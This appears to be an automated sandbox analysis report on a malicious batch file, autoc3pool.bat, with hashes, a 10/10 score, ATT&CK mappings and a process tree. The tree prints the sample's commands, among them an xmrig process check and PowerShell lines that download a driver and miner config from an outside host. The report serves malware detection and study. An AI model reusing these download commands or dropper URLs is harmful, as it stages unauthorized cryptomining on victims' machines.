7a5c1b3504f8b7cc3807b63489be9f3c5629600f507f7ba2073ccf9cb93aa4d8

Analysis

max time kernel
1s
max time network
157s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
02-01-2024 09:44

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General

Target

autoc3pool.bat
Size

5KB
MD5

d28070074dab9fa5aceddb39ca45dc5d
SHA1

e268ed454e42a4286fbef29a41a368f3183c6a3e
SHA256

7a5c1b3504f8b7cc3807b63489be9f3c5629600f507f7ba2073ccf9cb93aa4d8
SHA512

b1f941a0af376483bea4c48e1ae6e7fac055d83873974de83f704dfabade5749d43082f013dd41eb1fab5b6cdc3ff483b52e6c93757925e82532e44d0883062f
SSDEEP

96:EAcjtsHKVDoHJyH+vHEdXGWcL+mKMVFLQqIr0yJ43T+Q3oUIg1RWS2QvSJFcHbTO:EVaqpopyevkhP6+mKoQfgO43V3odg1R+

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/WinRing0x64.sys

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/config.json

Signatures

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

4844 tasklist.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

5052 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

tasklist.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4844 tasklist.exe
Token: SeDebugPrivilege 5052 powershell.exe

pid	process
4844	tasklist.exe

pid	process
5052	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4844	tasklist.exe
Token: SeDebugPrivilege	5052	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.exenet.exe

description	pid	process	target process
PID 4924 wrote to memory of 4844	4924	cmd.exe	tasklist.exe
PID 4924 wrote to memory of 4844	4924	cmd.exe	tasklist.exe
PID 4924 wrote to memory of 4568	4924	cmd.exe	find.exe
PID 4924 wrote to memory of 4568	4924	cmd.exe	find.exe
PID 4924 wrote to memory of 4612	4924	cmd.exe	net.exe
PID 4924 wrote to memory of 4612	4924	cmd.exe	net.exe
PID 4612 wrote to memory of 664	4612	net.exe	net1.exe
PID 4612 wrote to memory of 664	4612	net.exe	net1.exe
PID 4924 wrote to memory of 5052	4924	cmd.exe	powershell.exe
PID 4924 wrote to memory of 5052	4924	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\autoc3pool.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\system32\find.exe
  find /i "xmrig.exe"
  2⤵
  PID:4568
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq xmrig.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/WinRing0x64.sys', '9924\WinRing0x64.sys')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://c3poolbat.oss-accelerate.aliyuncs.com/c3pool/config.json', '9924\config.json')"
  2⤵
  PID:2524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 session
1⤵
PID:664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2524-50-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

Filesize
9.9MB

Download
memory/2524-75-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

Filesize
9.9MB

Download
memory/2524-70-0x0000023DE95F0000-0x0000023DE9600000-memory.dmp

Filesize
64KB

Download
memory/2524-51-0x0000023DE95F0000-0x0000023DE9600000-memory.dmp

Filesize
64KB

Download
memory/2524-53-0x0000023DE95F0000-0x0000023DE9600000-memory.dmp

Filesize
64KB

Download
memory/5052-7-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

Filesize
9.9MB

Download
memory/5052-26-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

Filesize
9.9MB

Download
memory/5052-27-0x00000181F7310000-0x00000181F7320000-memory.dmp

Filesize
64KB

Download
memory/5052-28-0x00000181F7310000-0x00000181F7320000-memory.dmp

Filesize
64KB

Download
memory/5052-45-0x00000181F7310000-0x00000181F7320000-memory.dmp

Filesize
64KB

Download
memory/5052-46-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

Filesize
9.9MB

Download
memory/5052-25-0x00000181F7310000-0x00000181F7320000-memory.dmp

Filesize
64KB

Download
memory/5052-4-0x00000181DF050000-0x00000181DF072000-memory.dmp

Filesize
136KB

Download
memory/5052-8-0x00000181F7310000-0x00000181F7320000-memory.dmp

Filesize
64KB

Download
memory/5052-9-0x00000181F74A0000-0x00000181F7516000-memory.dmp

Filesize
472KB

Download
memory/5052-10-0x00000181F7310000-0x00000181F7320000-memory.dmp

Filesize
64KB

Download